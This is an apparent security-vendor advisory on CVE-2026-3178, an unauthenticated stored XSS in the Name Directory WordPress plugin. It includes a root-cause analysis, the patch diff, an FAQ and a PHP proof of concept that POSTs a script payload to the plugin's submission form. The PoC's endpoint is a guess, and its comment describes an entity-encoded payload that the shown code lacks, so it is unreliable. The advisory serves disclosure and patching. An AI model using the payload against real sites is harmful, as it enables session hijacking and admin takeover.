Atomic Edge analysis of CVE-2026-3178:
The root cause is insufficient input sanitization and output escaping for the ‘name_directory_name’ parameter. The vulnerability exists in the plugin’s public submission form handling. User-supplied input for the ‘name’ field is processed by the `name_directory_deep_sanitize_public_user_input` function in `name-directory/helpers.php`. The function’s pre-patch logic applies `wp_kses` to raw input after `wp_unslash`. However, it fails to decode HTML entities before sanitization. This allows an attacker to submit a payload containing HTML-encoded characters (e.g., `<script>`). The encoded payload passes through `wp_kses` and is stored in the database. When the stored name is later displayed, the plugin uses `html_entity_decode(stripslashes($name->name))` on line 930 of `name-directory/admin.php`, converting the encoded payload into active script tags. The script executes in the browser of any user viewing the affected directory page. The exploitation method is an unauthenticated POST request to the plugin’s public submission endpoint, typically a front-end form. The attacker injects a JavaScript payload via the ‘name_directory_name’ parameter. The patch in version 1.33.0 modifies the `name_directory_deep_sanitize_public_user_input` function. It adds a call to `html_entity_decode` with flags `ENT_QUOTES | ENT_HTML5` on the raw input BEFORE applying `wp_kses`. This ensures any HTML-encoded characters are decoded and then stripped by the KSES sanitizer, preventing the stored XSS vector. The impact is a stored cross-site scripting attack. Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript that executes in the context of any user visiting the compromised directory page, leading to session hijacking or admin takeover.

CVE-2026-3178: Name Directory <= 1.32.1 – Unauthenticated Stored Cross-Site Scripting via 'name_directory_name' (name-directory)
CVE-2026-3178
name-directory
1.32.1
1.33.0
Analysis Overview
Differential between vulnerable and patched code
--- a/name-directory/admin.php
+++ b/name-directory/admin.php
@@ -60,7 +60,7 @@
$sub_page = '';
if( ! empty( $_GET['sub'] ) )
{
- $sub_page = wp_unslash($_GET['sub']);
+ $sub_page = sanitize_text_field($_GET['sub']);
}
switch( $sub_page )
@@ -113,7 +113,7 @@
}
$wp_file = admin_url('admin.php');
- $wp_page = $_GET['page'];
+ $wp_page = sanitize_text_field($_GET['page']);
$wp_url_path = sprintf("%s?page=%s", $wp_file, $wp_page);
$wp_new_url = sprintf("%s&sub=%s", $wp_url_path, 'new-directory');
$wp_nonce = wp_create_nonce('name-directory-action');
@@ -321,8 +321,8 @@
global $name_directory_table_directory;
$wp_file = admin_url('admin.php');
- $wp_page = $_GET['page'];
- $wp_sub = $_GET['sub'];
+ $wp_page = sanitize_text_field($_GET['page']);
+ $wp_sub = sanitize_text_field($_GET['sub']);
$overview_url = sprintf("%s?page=%s", $wp_file, $wp_page, $wp_sub);
$wp_url_path = sprintf("%s?page=%s", $wp_file, $wp_page);
@@ -656,8 +656,8 @@
}
$wp_file = admin_url('admin.php');
- $wp_page = $_GET['page'];
- $wp_sub = $_GET['sub'];
+ $wp_page = sanitize_text_field($_GET['page']);
+ $wp_sub = sanitize_text_field($_GET['sub']);
$overview_url = sprintf("%s?page=%s", $wp_file, $wp_page);
if(! array_key_exists('dir', $_GET)) {
@@ -927,8 +927,8 @@
<a class='button button-small' href='" . $wp_url_path . "&delete_name=%d&secnonce=%s'>%s</a>
</td><td>%s</td>
</tr>",
- html_entity_decode(stripslashes($name->name)),
- html_entity_decode(stripslashes($name->description)),
+ esc_html(stripslashes($name->name)),
+ esc_html(stripslashes($name->description)),
sanitize_text_field(esc_html($name->submitted_by)),
$name->id,
$name->id,
@@ -1014,7 +1014,7 @@
array('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%d', '%d', '%s', '%s', '%s', '%d', '%d')
);
- $import_url = sprintf("%s?page=%s&sub=%s&dir=%d", admin_url('admin.php'), $_GET['page'], 'import', $wpdb->insert_id);
+ $import_url = sprintf("%s?page=%s&sub=%s&dir=%d", admin_url('admin.php'), sanitize_text_field($_GET['page']), 'import', $wpdb->insert_id);
echo "<div class='updated'><p>"
. sprintf(__('Directory %s created.', 'name-directory'), "<i>" . $cleaned_name . "</i>")
@@ -1027,7 +1027,7 @@
$wp_nonce = wp_create_nonce('name-directory-quick');
?>
- <form name="add_name" method="post" action="<?php echo sprintf("%s?page=%s&sub=quick-import&quicknonce=%s", admin_url('admin.php'), $_GET['page'], $wp_nonce); ?>">
+ <form name="add_name" method="post" action="<?php echo sprintf("%s?page=%s&sub=quick-import&quicknonce=%s", admin_url('admin.php'), sanitize_text_field($_GET['page']), $wp_nonce); ?>">
<table class="wp-list-table widefat" cellpadding="0">
<thead>
<tr>
@@ -1179,8 +1179,8 @@
}
$wp_file = admin_url('admin.php');
- $wp_page = $_GET['page'];
- $wp_sub = $_GET['sub'];
+ $wp_page = sanitize_text_field($_GET['page']);
+ $wp_sub = sanitize_text_field($_GET['sub']);
$overview_url = sprintf("%s?page=%s", $wp_file, $wp_page);
$wp_url_path = sprintf("%s?page=%s&sub=%s&dir=%d", $wp_file, $wp_page, $wp_sub, $directory_id);
$wp_ndir_path = sprintf("%s?page=%s&sub=%s&dir=%d", $wp_file, $wp_page, 'manage-directory', $directory_id);
--- a/name-directory/helpers.php
+++ b/name-directory/helpers.php
@@ -600,12 +600,16 @@
* @return mixed
*/
function name_directory_deep_sanitize_public_user_input($input, $allowed_tags = null) {
+
$raw = trim( wp_unslash( (string)$input ) );
+ $decoded = html_entity_decode( $raw, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+
if( ! is_array( $allowed_tags ) ) {
$allowed_tags = array('p' => array(), 'br' => array(), 'strong'=>array(), 'em'=>array());
}
- return wp_kses( $raw, $allowed_tags );
+
+ return wp_kses( $decoded, $allowed_tags );
}
function name_directory_get_html_tag_options() {
--- a/name-directory/index.php
+++ b/name-directory/index.php
@@ -3,7 +3,7 @@
* Plugin Name: Name Directory
* Plugin URI: https://jeroenpeters.dev/wordpress-plugin-name-directory/
* Description: A Name Directory, i.e. for animal names or to create a glossary. Visitors can add, search or just browse all names.
- * Version: 1.32.1
+ * Version: 1.33.0
* Author: Jeroen Peters
* Author URI: https://jeroenpeters.dev
* Text Domain: name-directory
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3178 - Name Directory <= 1.32.1 - Unauthenticated Stored Cross-Site Scripting via 'name_directory_name'
<?php
$target_url = 'http://example.com/wp-content/plugins/name-directory/'; // Base plugin URL
// The payload uses HTML entity encoding to bypass the pre-patch sanitization.
$payload = '<script>alert(document.domain)</script>';
// Identify the submission endpoint. The plugin typically uses a front-end form.
// The exact endpoint path may vary based on plugin configuration.
// This PoC targets the public submission handler.
$submit_url = $target_url . 'submit.php'; // Example endpoint; actual path needs verification.
// Prepare POST data with the malicious name parameter.
$post_data = array(
'name_directory_name' => $payload,
'name_directory_description' => 'Test description',
'submitted_by' => 'attacker'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Payload submitted. Check the name directory page for XSS execution.n";
} else {
echo "Submission failed with HTTP code: $http_coden";
}
?>
Frequently Asked Questions
What is CVE-2026-3178?
Understanding the vulnerabilityCVE-2026-3178 is a security vulnerability in the Name Directory plugin for WordPress, affecting versions up to and including 1.32.1. It allows unauthenticated attackers to exploit stored cross-site scripting (XSS) via the ‘name_directory_name’ parameter due to insufficient input sanitization.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability allows attackers to inject malicious scripts into the ‘name_directory_name’ field of the plugin’s public submission form. When this input is stored and later displayed without proper sanitization, the scripts can execute in the browsers of users visiting the affected pages.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the Name Directory plugin version 1.32.1 or earlier is at risk. Administrators should check their plugin version to determine if they need to take action.
How can I check if my site is vulnerable?
Verification stepsTo check if your site is vulnerable, verify the version of the Name Directory plugin installed. If it is version 1.32.1 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Recommended actionsThe vulnerability is fixed in version 1.33.0 of the Name Directory plugin. Administrators should update the plugin to this version or later to mitigate the risk.
What does the CVSS score of 7.2 indicate?
Understanding severity ratingsThe CVSS score of 7.2 indicates a high severity level, suggesting that successful exploitation could lead to significant impacts, such as session hijacking or unauthorized actions on behalf of users.
What practical risks does this vulnerability pose?
Potential consequencesThe practical risks include unauthorized script execution in user browsers, which can lead to data theft, session hijacking, or even administrative takeover of the WordPress site.
What is the proof of concept demonstrating?
Understanding the PoCThe proof of concept illustrates how an attacker can exploit the vulnerability by submitting a specially crafted payload through the public submission form. This payload, when stored and later displayed, executes JavaScript in the context of users visiting the affected page.
What steps should I take if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updates are not possible, consider disabling the Name Directory plugin until it can be updated. Additionally, review user access and monitor for any suspicious activity on your site.
What is stored cross-site scripting (XSS)?
Defining the attack typeStored cross-site scripting (XSS) occurs when an attacker injects malicious scripts into a website, which are then stored on the server and executed in the browsers of users who access the affected content. This type of XSS can persist over time, affecting multiple users.
How does the vulnerability affect user sessions?
Impact on user securityIf exploited, the vulnerability can allow attackers to execute scripts that may steal session cookies or redirect users to malicious sites, compromising user accounts and potentially leading to unauthorized access.
What should I do after applying the patch?
Post-update actionsAfter updating the Name Directory plugin to version 1.33.0 or later, monitor your site for any unusual activity and consider conducting a security audit to ensure no other vulnerabilities exist.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






